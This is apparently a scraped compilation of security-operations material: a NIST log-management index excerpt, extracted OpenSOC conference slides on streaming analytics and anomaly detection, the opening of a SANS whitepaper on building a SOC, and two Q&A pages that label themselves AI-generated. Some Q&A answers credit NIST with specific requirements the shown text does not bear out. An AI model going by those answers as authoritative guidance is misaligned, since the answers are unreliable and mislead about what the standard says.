Intrusion detection system log, 2-2 D-1 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT M Message digest, 3-4 N Network quarantine server log, 2-3 Normalization. See Log Normalization O Operating system log, 2-1, 2-4 Out-of-band, 3-2 P Payment Card Indus try Data Security Standard (PCI DSS), 2-8 R Remote access software log, 2-2 Router log, 2-3 S Sarbanes-Oxley Act (SOX) of 2002, 2-8 Security event management (SEM), 3-9 Security information and event management (SIEM) software, 3-9 Security information management (SIM), 3-9 Security software, 2-2 Security software log, 2-1 Syslog, 3-5 Syslog message format, 3-5 Syslog security, 3-7 System event, 2-4 T Timestamp, 2-9 V Virtual private networking (VPN) log, 2-2 Visualization tool, 3-10 Vulnerability management software log, 2-2 W Web proxy log, 2-2 D-2 --- ## Source: https://montance.com/questions.php?id=72 [![pdf](content/images/icons/pdf.svg) NIST - SP800-92 - Log Management.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgUXlqTllFM01xWms/view?usp=sharing) NIST Sp800 92 Log Management NIST guidance on computer security log management. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: According to NIST SP 800-92, what are the three distinct tiers of log management? A: Log Generation, Log Analysis and Storage, and Log Monitoring. * Q: What is the primary operational risk associated with 'Syslog' over UDP? A: The lack of guaranteed delivery, meaning critical log messages can be lost during network congestion or attacks without the sender knowing. * Q: How does NIST define 'Log Normalization' in the context of disparate sources? A: The process of converting each log entry into a standard format with consistent fields (e.g., ensuring all timestamps are UTC and IP addresses are in a standard notation). * Q: What specific recommendation is made regarding 'Log Preservation' for legal purposes? A: Logs must be stored on write-once media (WORM) or cryptographically signed to ensure integrity and admissibility in court. * Q: What is the recommended strategy for 'Log Rotation' on high-volume systems? A: Rotate logs based on size (e.g., every 100MB) rather than just time, to prevent file system exhaustion. * Q: Why does NIST recommend separating 'Operational' logs from 'Security' logs? A: To allow for different retention policies and access controls, as security logs often contain sensitive data and require stricter integrity protection. * Q: What is the 'Chain of Custody' requirement for log analysis? A: Documenting exactly who accessed the logs, when, and for what purpose to maintain their evidentiary value. * Q: Which specific role is responsible for defining the log retention policy? A: The Information Security Officer (or equivalent management role), not the system administrator. * Q: What is the function of a 'Log Relay' or 'Log Aggregator'? A: To collect logs from multiple sources and forward them to a central repository, often adding a layer of buffering and security. * Q: What is the NIST recommendation for 'Time Synchronization'? A: All log generating hosts must be synchronized via NTP to a trusted time source to enable accurate event correlation. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgbV9IX1FJZ1lSdVU/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgbV9IX1FJZ1lSdVU/view?usp=sharing]** #RSAC #RSAC Combat Sophisticated Threats How Big Data and OpenSOC Could Help James Sirota Big Data Architect/Data Scientist Cisco Security Solutions Practice @JamesSirota SESSION ID: SEC-T11 #RSAC In the next few minutes… Introduction to Data- Driven Security Overview of OpenSOC Overview of the Analytics Pipeline Survey of Algorithms used by OpenSOC Probabilistic Structures for Stream Estimation Q&A #RSAC Introduction to Data- Driven Security #RSAC Traditional Approach to Security Reactive Security Model [1,2,3,4,5] 80% of spending on perimeter defenses Average 40- 50 security tools per organization Collectively generate ~20,000 events per second Tools are highly specialized 80% of alerts require additional follow -up #RSAC Traditional Approach to Security Investigation and Incident Response[5,6] 66% take an hour or longer to identify 91% take a day or longer to discover root cause 81% take a day or longer to fix 84% of fixes take a week or longer to validate #RSAC Where things break down… Challenges with perimeter defense [2] Most organizations support BYOD 47% of organizations use cloud services Global Workplace Challenges with Point Tools [4, 5] Too many tools and manual processes Too many false positive alerts Lack of integrated architecture Not enough data sources #RSAC Where things break down… Challenges with Adding Data Sources Volume: from Terabytes to Zettabytes Variety: structured to unstructured Velocity: everything is a sensor, generates logs Veracity: data quality issues Value: What to keep? Purge? Summarize? Skills Challenge[4,6,7] Staff spend ~40% less time on tasks than ideal 35% of organizations use contractors #RSAC Cisco Approach to Security Data -Driven Security Model Moving from reactive to predictive Moving from point tools to a unified platform Shifting skills from specialists to data scientists Emphasis on quality and not quantity of alerts Emphasis on closed- loop analytics #RSAC Overview of OpenSOC #RSAC Introducing OpenSOC Supports Data- Driven Security Model Unified platform for ingest, storage, analytics Provides multiple views/access patterns for data Interactive Analytics and Predictive Modeling Provides contextual real -time alerts Rapid deployment and scoring #RSAC Emergence of Big Data Systems that scale out, not up Parallel and scalable computation tools Cheap, massively -scalable storage Stream computation + stream analysis Scaling + approximation #RSAC Technology Behind OpenSOC Telemetry Capture Layer: Apache Flume Data Bus: Apache Kafka Stream Processor: Apache Storm Real-Time Index and Search: Elastic Search Long- Term Data Store: Apache Hive Long- Term Packet Store: Apache Hbase Visualization Platform: Kibana #RSAC Introducing OpenSOC Intersection of Big Data and Security Analytics Multi Petabyte Storage Interactive Query Real-Time Search Scalable Stream Processing Unstructured Data Data Access Control Scalable Compute OpenSOC Real-Time Alerts Anomaly Detection Data Correlation Rules and Reports Predictive Modeling UI and Applications Big Data Platform Hadoop #RSAC OpenSOC in a Nutshell Raw Network Stream Network Metadata Stream Netflow Syslog Raw Application Logs Other Streaming Telemetry Hive HBase Raw Packet Store Long -Term Store Elastic Search Real-Time Index Network Packet Mining and PCAP Reconstructio n Log Mining and Analytics Big Data Exploration, Predictive Modeling Applications + Analyst Tools Parse + Format Enrich Alert Threat Intelligence Feeds Enrichment Data #RSAC OpenSOC Journey Sept 2013 First Prototype Dec 2013 Hortonworks joins the project March 2014 Platform development finished Sept 2014 General Availability May 2014 CR Work off April 2014 First beta test at customer site #RSAC Overview of the Analytics Pipeline #RSAC Analytics Pipeline RAW Transform Enrich Alert (Rules -Based) Enriched Filter Aggregators Router Model 1 Scorer HIVE Long -Term Data Store Flume Kafka Storm Model 2 Model n OpenSOC -Streaming OpenSOC -Aggregation OpenSOC -ML SOC Alert Consumers UI UI UI UI UI Web Services Secure Gateway Services External Alert Consumers Big Data Stores Elastic Search Real -Time Index and Search HBase Windowed Rollup Store Alerts HIVE Alerts Store Remedy Ticketing System #RSAC OpenSOC -Streaming [TIMESTAMP] Log message: "This is a test log message", generated from mydomain.com , 10.20.30.40:123 -> 20.30.40.50:456 {TCP} {“msg_content ”: “This is a test log message”, processed: [TIMESTAMP], src_ip : “10.20.30.40”, src_port : 123, dest_ip : “20.30.40.50”, dest_port : 456, domain: “ mydomain.com ”, protocol:"TCP " geo_enrichment :{ source:{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "} dest :{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "}} whois_enrichment :{ source: { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0",” OrgAbuseName ":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"} dest : { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0", "OrgAbuseName":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"}}} OpenSOC -Streaming 1:1 KAFKA TOPIC: ENRICHED [TIMESTAMP] Log message: "This is a test log message", generated from mydomain.com , 10.20.30.40:123 -> 20.30.40.50:456 {TCP} [TIMESTAMP] Log message: "This is a test log message", generated from mydomain.com , 10.20.30.40:123 -> 20.30.40.50:456 {TCP} {“msg_content ”: “This is a test log message”, processed: [TIMESTAMP], src_ip : “10.20.30.40”, src_port : 123, dest_ip : “20.30.40.50”, dest_port : 456, domain: “ mydomain.com ”, protocol:"TCP " geo_enrichment :{ source:{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "} dest :{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "}} whois_enrichment :{ source: { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0",” OrgAbuseName ":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"} dest : { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0", "OrgAbuseName":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"}}} {“msg_content ”: “This is a test log message”, processed: [TIMESTAMP], src_ip : “10.20.30.40”, src_port : 123, dest_ip : “20.30.40.50”, dest_port : 456, domain: “ mydomain.com ”, protocol:"TCP " geo_enrichment :{ source:{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "} dest :{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "}} whois_enrichment :{ source: { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0",” OrgAbuseName ":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"} dest : { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0", "OrgAbuseName":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"}}} KAFKA TOPIC: RAW #RSAC Streaming Topology Kafka Spout Parser Parser Parser Parsers Enrich Geo Enrich Enrich Enrich Enrich MESSAGE Message Stream Shuffle Grouping Control Stream ALL Grouping Enrich Whois Enrich Enrich Enrich KAFKA Topic: Enriched KAFKA Topic: Enriched KAFKA Topic: Enriched KAFKA Topic: Enriched Parser Parser Plugin SQL Store Geo Plug- In Enrich K-V Store Whois Plug -In #RSAC OpenSOC -Aggregation {“msg_content ”: “This is a test log message”, processed: [TIMESTAMP], src_ip : “10.20.30.40”, src_port : 123, dest_ip : “20.30.40.50”, dest_port : 456, domain: “ mydomain.com ”, protocol:"TCP " geo_enrichment :{ source:{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "} dest :{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "}} whois_enrichment :{ source: { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0",” OrgAbuseName ":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"} dest : { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0", "OrgAbuseName":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"}}} OpenSOC -Aggregation {“msg_content ”: “This is a test log message”, processed: [TIMESTAMP], src_ip : “10.20.30.40”, src_port : 123, dest_ip : “20.30.40.50”, dest_port : 456, domain: “ mydomain.com ”, protocol:"TCP " geo_enrichment :{ source:{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "} dest :{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "}} whois_enrichment :{ source: { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0",” OrgAbuseName ":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"} dest : { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0", "OrgAbuseName":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"}}} {“msg_content ”: “This is a test log message”, processed: [TIMESTAMP], src_ip : “10.20.30.40”, src_port : 123, dest_ip : “20.30.40.50”, dest_port : 456, domain: “ mydomain.com ”, protocol:"TCP " geo_enrichment :{ source:{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "} dest :{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "}} whois_enrichment :{ source: { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0",” OrgAbuseName ":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"} dest : { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0", "OrgAbuseName":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"}}} yyyy:mm:dd:hh:[ bucket_id ]: { total -messages:1003 protocol -TCP:305 protocol -UDP:201 city-from- Phoenix:11 city-from- SanJose:405 country- from- USA:10 country- from- CA:11 ip-from- Sketch(A):301 ip-from- Sketch(n):55 port -from- Sketch(a):44 port -from- Sketch(n):12 } RULES 1:* HBASE KAFKA TOPIC: ENRICHED OpenSOC -Streaming #RSAC Aggregation Topology Kafka Spout Filter Filter Filter Pulse Spout MAPPER FILTER AGGREGAT E Filter Filters Aggregators Aggreg ator Aggreg ator Aggreg ator Aggreg ator TIMER HBase KEY:CF:COUNT HBase KEY:CF:COUNT HBase KEY:CF:COUNT HBase KEY:CF:COUNT MESSAGE TUPLE TUPLE TUPLE TUPLE Message Stream Shuffle Grouping Control Stream ALL Grouping KEY #RSAC HBase Aggregation Table Key Total - Messages Feature 1 Feature 2 Feature 3 Feature 4 Feature 5 … Feature n 2004- 01-12- 15-1 34 5 0 0 14 4 22 2004- 01-12- 15-2 30 6 2 0 11 5 24 2004- 01-12- 15-3 33 4 1 1 12 2 20 2004- 01-12- 15-4 31 5 0 0 14 4 21 2004- 01-12- 16-1 30 2 4 2 10 5 24 …. #RSAC OpenSOC -ML {“msg_content ”: “This is a test log message”, processed: [TIMESTAMP], src_ip : “10.20.30.40”, src_port : 123, dest_ip : “20.30.40.50”, dest_port : 456, domain: “ mydomain.com ”, protocol:"TCP " geo_enrichment :{ source:{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "} dest :{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "}} whois_enrichment :{ source: { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0",” OrgAbuseName ":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"} dest : { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0", "OrgAbuseName":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"}}} OpenSOC -ML {“msg_content ”: “This is a test log message”, processed: [TIMESTAMP], src_ip : “10.20.30.40”, src_port : 123, dest_ip : “20.30.40.50”, dest_port : 456, domain: “ mydomain.com ”, protocol:"TCP " geo_enrichment :{ source:{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "} dest :{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "}} whois_enrichment :{ source: { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0",” OrgAbuseName ":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"} dest : { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0", "OrgAbuseName":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"}}} {“msg_content ”: “This is a test log message”, processed: [TIMESTAMP], src_ip : “10.20.30.40”, src_port : 123, dest_ip : “20.30.40.50”, dest_port : 456, domain: “ mydomain.com ”, protocol:"TCP " geo_enrichment :{ source:{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "} dest :{ postalCode : 95134,areaCode: 408,metroCode: 807,longitude: -121.946, latitude:37.425,locId:4522,city:"San Jose",country:"US "}} whois_enrichment :{ source: { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0",” OrgAbuseName ":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"} dest : { OrgId":"CISCOS","Parent":"NET -144- 0-0-0-0", "OrgAbuseName":"Cisco Systems Inc", "RegDate":"1991- 01-171991 -01-17","OrgName":"Cisco Systems", "Address":"170 West Tasman Drive", "NetType ":"Direct Assignment"}}} *:* KAFKA TOPIC: ENRICHED OpenSOC -Streaming alert: { anomaly -type: ”irregular pattern”, models -triggered: [m1,m2,m4] } KAFKA #RSAC ML Topology Kafka Router Spout Model Model Model Pulse Spout HBase Model Online Models TIMER MESSAGE Message Stream ALL Grouping Control Stream ALL Grouping Offline Models Scorer Event ID Event ID Eval Algo Alert KAFKA Topic: Alerts MR JOB Spark JOB HIVE Long -Term Data Store #RSAC Survey of Algorithms Used by OpenSOC #RSAC Types of Algorithms Offline – analyze entire data set at once Generally a good fit for Apache Hadoop/Map Reduce Model compiled via batch, scored via stream processor Online – start with an initial state and analyze each piece of data serially one at a time Generally require a chain of Map Reduce jobs Good fit for Apache Spark, Tez, Storm Primarily batch, good for Lambda architectures Online Streaming – real-time, in -memory, limited analysis Generally a good fit for Apache Storm, Spark- Streaming Probabilistic, random structures, approximations #RSAC Online Models Hadoop Bolt Stream Batch Workflow Stream Processing Result Bolt Bolt Bolt Bolt Bolt #RSAC Examples: Stream Clustering StreamKM ++: computes a small weighted sample of the data stream and it uses the k- means++ algorithm as a randomized seeding technique to choose the first values for the clusters. CluStream : micro -clusters are temporal extensions of cluster feature vectors. The micro- clusters are stored at snapshots in time following a pyramidal pattern. ClusTree: It is a parameter free algorithm automatically adapting to the speed of the stream and it is capable of detecting concept drift, novelty, and outliers in the stream. DenStream : uses dense micro- clusters (named core- micro -cluster) to summarize clusters. To maintain and distinguish the potential clusters and outliers, this method presents core-micro -cluster and outlier micro- cluster structures. D-Stream : maps each input data record into a grid and it computes the grid density. The grids are clustered based on the density. This algorithm adopts a density decaying technique to capture the dynamic changes of a data stream. CobWeb: uses a classification tree. Each node in a classification tree represents a class (concept) and is labeled by a probabilistic concept that summarizes the attribute- value distributions of objects classified under the node 28 #RSAC Example: Stream Classification Hoeffding Tree (VFDT) incremental , anytime decision tree induction algorithm that is capable of learning from massive data streams, assuming that the distribution generating examples does not change over time Half-Space Trees ensemble model that randomly spits data into half spaces. They are created online and detect anomalies by their deviations in placement within the forest relative to other data from the same window 29 #RSAC Examples: Outlier Detection[10] Median Absolute Deviation : Telemetry is anomalous if the deviation of its latest datapoint with respect to the median is X times larger than the median of deviations Standard Deviation from Average : Telemetry is anomalous if the absolute value of the average of the latest three datapoint minus the moving average is greater than three standard deviations of the average. Standard Deviation from Moving Average: Telemetry is anomalous if the absolute value of the average of the latest three datapoints minus the moving average is greater than three standard deviations of the moving average. #RSAC Examples: Outlier Detection [10] Mean Subtraction Cumulation: Telemetry is anomalous if the value of the next datapoint in the series is farther than three standard deviations out in cumulative terms after subtracting the mean from each data point Least Squares: Telemetry is anomalous if the average of the last three datapoints on a projected least squares model is greater than three sigma Histogram Bins: Telemetry is anomalous if the average of the last three datapoints falls into a histogram bin with less than x 31 #RSAC Offline Models Stream Hadoop Batch JOB Model Stream Stream Bolt Stream Batch Workflow Stream Processing Result #RSAC Offline Algorithms Hypothesis Tests Chi2 Test (Goodness of Fit): A feature is anomalous if it the data for the latest micro batch (for the last 10 minutes) comes from a different distribution than the historical distribution for that feature Grubbs Test: telemetry is anomalous if the Z score is greater than the Grubb's score. Kolmogorov -Smirnov Test: check if data distribution for last 10 minutes is different from last hour Simple Outliers test: telemetry is anomalous if the number of outliers for the last 10 minutes is statistically different then the historical number of outliers for that time frame Decision Trees/Random Forests Association Rules ( Apriori ) BIRCH/DBSCAN Clustering Auto Regressive (AR) Moving Average (MA) #RSAC Approximation for Streaming #RSAC Approximation for Streaming Skip Lists Trade memory for lookup time increase Hierarchical layered indexing on top of lists Lookup improvement: O(n) -> O(log n) Best Uses: Search for element in a list Approximate the number of distinct elements in a list #RSAC Approximation for Streaming HyperLogLog Turns each feature to a hash value Keeps track of the longest run of a feature Approximates the number of occurrences of a feature based on it’s longest runs Best Uses: Estimate how rare an occurrence of a feature is Approximate count of distinct objects over time Estimate entropy of a data set #RSAC Approximation for Streaming Bloom Filters Trade memory for fast set membership check Hash all incoming elements to hash sets Use multiple hash functions and multiple hash sets of varying sizes Best Uses: Check element membership in a set #RSAC Approximation for Streaming Sketches Top-K: count of top elements in the stream Count -Min: histograms over large feature sets (similar to Bloom Filters with counts) Digest algorithm for computing approximate quantiles on a collection of integers #RSAC Thank You Follow us on Twitter @ProjectOpenSOC MTD Data Science Team James Sirota @ JamesSirota Sam Davis @samdavis510 Nate Bitting @nbitting 39 #RSAC Sources [1] RSA Incident Response Teams are the New (Security) Black https://blogs.rsa.com/incident- response- teams -new- security -black / [2] PWC - The Global State of Information Security Survey 2014 http://download.pwc.com/ie/pubs/2013_key_findings_from_the_global_state_of_information_security_survey_2014. pdf [3] Tripwire 2014 IT SECURITY BUDGET FORECAST ROUNDUP FOR CIOs AND CISOs/CSOs https://www.akat- t.com/wp -content/uploads/2014/01/IT -Security -Budget -Forecast -Roundup- 2014- for-CIOs -and-CSO -CISOs.pdf [4] NetworkWorld : Real-Time Big Data Security Analytics for Incident Detection http://www.networkworld.com/article/2225959/cisco -subnet/real -time-big-data-security -analytics -for-incident - detection.html [5] CAS Static Analysis Tool Study http://samate.nist.gov/docs/CAS_2011_SA_Tool_Method.pdf [6] TIBCO Cyber Security Platform http://www.tibco.com/multimedia/wp -cyber -security -platform_tcm8 -16777. pdf [7] Reuters http://www.reuters.com/article/2012/06/13/us -media- tech-summit -symantec -idUSBRE85B1E220120613 [8] Staffing the Informaton Security Organization https://vostrom.com/get/InfoSec_Staffing.pdf [9] SBT Global Survey us.westcon.com /documents/.../stbglobalsurveywpen11nov2013web.pdf [10] Etsy Kale http://codeascraft.com/2013/06/11/introducing -kale/ 40 --- ## Source: https://montance.com/questions.php?id=71 [![pdf](content/images/icons/pdf.svg) RSAConf14 - Analytics - OPENSOC.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgbV9IX1FJZ1lSdVU/view?usp=sharing) RSAconf14 Analytics OpenSOC Presentation on the OpenSOC big data analytics framework. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the primary architectural advantage of 'OpenSOC' compared to traditional SIEMs? A: It leverages a 'Big Data' architecture (Hadoop/Kafka/Storm) to separate storage from processing, allowing for horizontal scalability. * Q: What specific technology is used for the real-time message bus in OpenSOC? A: Apache Kafka. * Q: How does OpenSOC handle the 'Enrichment' of telemetry data? A: It uses a real-time streaming topology (likely Storm) to tag data with geo-location, threat intel, and asset information before it is stored. * Q: What is the 'Analytics Pipeline' described in the presentation? A: Ingest -> Parse/Normalize -> Enrich -> Store -> Analyze -> Alert. * Q: What is the role of 'HBase' in the OpenSOC architecture? A: It serves as the long-term, scalable storage layer for the processed events, allowing for random read/write access. * Q: How does OpenSOC address the issue of 'Vendor Lock-in'? A: By being built entirely on open-source technologies (Apache stack), allowing organizations to modify and extend the code without vendor dependencies. * Q: What is the 'Telemetry' requirement for effective analytics? A: Full packet capture (PCAP) combined with rich metadata (NetFlow/IPFIX) and endpoint logs. * Q: What is the recommended approach for 'Data Aging' in this big data model? A: Using a tiered storage approach: hot data in memory/SSD for immediate analysis, warm data in HBase, and cold data in HDFS archives. * Q: What is 'Probabilistic Data Structures' used for in OpenSOC? A: To perform high-speed cardinality estimation (e.g., counting unique IPs) on massive data streams with minimal memory footprint. * Q: What is the goal of the 'Visualization' layer in OpenSOC? A: To provide analysts with a flexible interface (like Kibana) to query and visualize data without needing to write MapReduce jobs. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgZndjdk1ma0RqNmM/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgZndjdk1ma0RqNmM/view?usp=sharing]** Interested in learning more about security? SANS Institute InfoSec Reading Room This paper is from the SANS Institute Reading Room site. Reposting is not permitted without express written permission. Building a World-Class Security Operations Center: A Roadmap Explore how you can build a world-class security operations center (SOC) by focusing on the triad of people, process and technology. Copyright SANS Institute Author Retains Full Rights Building a World-Class Security Operations Center: A Roadmap ©2015 SANS™ InstituteA SANS Whitepaper Written by Alissa Torres May 2015 Sponsored by RSA SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap2 If you are reading this paper your most pressing concern undoubtedly is protecting your organization’s intellectual property and sensitive customer data. Highly visible breaches and attacks have brought an intense focus on organizations’ incident detection, investigation and mitigation capabilities. After all, if you can’t prevent a security incident, you had better be able to detect and respond to it quickly. But just increasing security spending does not guarantee more protection. Achieving the goal of better security depends on how that budget is allocated; what people, procedures and infrastructure are put into place; and how the security program is managed and optimized over the long term. For organizations without a formalized incident-handling capability, the creation from scratch of a security operations center that enables centralized visibility, alerting and investigation can be a daunting task. But fortunately organizations don’t need a room full of security experts and an investment of millions of dollars in security systems to make progress here. In this paper we look at how to develop an effective security operations center (SOC) and provide a roadmap for continuously evolving this capability to keep pace with the tactics of the adversaries.Investing in Security Percentage of respondents to the 2014 SANS Incident Response Survey who reported that no portion of their organization’s security budget is currently allocated to incident response1 30% Creating the Roadmap Because you can’t build a world-class security operations center (SOC) overnight no matter how much money you are willing to invest, the task is more of a marathon than a sprint. Creating a plan for incremental phases of implementation is critical to success. But what goes into such a roadmap? What comes first and what next? The goal of planning should be to execute regular incremental improvements based on your completed gap analysis and to establish a series of prioritized milestones that lead the organization toward optimized security and improved incident detection and response. The gaps you uncover in that analysis can be translated into goals. Budget, personnel and cultural constraints require that new processes and technologies be implemented in stages. 1 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap3 Once you’ve identified what you need, what will work in your organization’s culture and the way to get there, it is important to realize that building a SOC requires collaboration and communication among multiple functions (people), disparate security products (technology), and varying processes and procedures (processes), as shown in Figure 1. People Your organization may have employees ready to step in to fill the role of incident responders and SOC analysts, or it may need to evaluate other options, such as outsourcing (via managed security service providers, or MSSPs) or contracting specialists to provide surge incident response (IR) support. For some security teams, a hybrid mix of these options works well. According to the 2014 SANS Incident Response survey,2 61% of respondents call upon surge staff to handle critical incidents and 58% have a dedicated response team. It is clear that organizations rarely cover incident response needs completely with in-house staff or completely outsource it. Regardless of your staffing structure, SOC staff must have the necessary training to deal with the constantly changing and often quite challenging job of a security analyst, incident investigator, subject matter expert or SOC manager (see Table 1). Figure 1. Building Blocks of a SOCSOCPeople Technology ProcessFormal Training Internal Training Endpoin tPreparation Identi/f_ication Containmen t EradicationRecove ryLessons LearnedNet/f_lo w Netw ork MonitoringForensicsIncident Detec tion/ Managemen t Threat IntelVendor-Speci/f_ic TrainingOn-the -Job Experienc eTriad of Security Operations: People, Process and TechnologyBuilding a Security Operations Center 2 www.sans.org/reading-room/whitepapers/incident/incident-response-fight-35342 SANS ANALYST PROGRAM Building a World-Class Security Operations Center: A Roadmap4 Building a Security Operations Center (CONTINUED) Table 1. SOC Duties and Training Needs Job Title Duties Required Training Tier 1 Alert AnalystContinuously monitors the alert queue; triages security alerts; monitors health of security sensors and endpoints; collects data and context necessary to initiate Tier 2 work.Alert triage procedures; intrusion detection; network, security information and event management (SIEM) and host- based investigative training; and other tool-specific training. Certifications could include SANS SEC401: Security Essentials Bootcamp Style. Tier 2 Incident ResponderPerforms deep-dive incident analysis by correlating data from various sources; determines if a critical system or data set has been impacted; advises on remediation; provides support for new analytic methods for detecting threats. Advanced network forensics, host-based forensics, incident response procedures, log reviews, basic malware assessment, network forensics and threat intelligence. Certifications could include SANS SEC501: Advanced Security Essentials - Enterprise Defender; SANS SEC503: Intrusion Detection In-Depth; SANS SEC504: Hacker Tools, Techniques, Exploits and Incident Handling. Tier 3 Subject Matter Expert/ HunterPossesses in-depth knowledge on network, endpoint, threat intelligence, forensics and malware reverse engineering, as well as the functioning of specific applications or underlying IT infrastructure; acts as an incident “hunter, ” not waiting for escalated incidents; closely involved in developing, tuning and implementing threat detection analytics.Advanced training on anomaly- detection; tool-specific training for data aggregation and analysis and threat intelligence. Certifications could include SANS SEC503: Intrusion Detection In-Depth; SANS SEC504: Hacker Tools, Techniques, Exploits and Incident Handling; SANS SEC561: Intense Hands-on Pen Testing Skill Development; SANS FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques. SOC Manager Manages resources to include personnel, budget, shift scheduling and technology strategy to meet SLAs; communicates with management; serves as organizational point person for business-critical incidents; 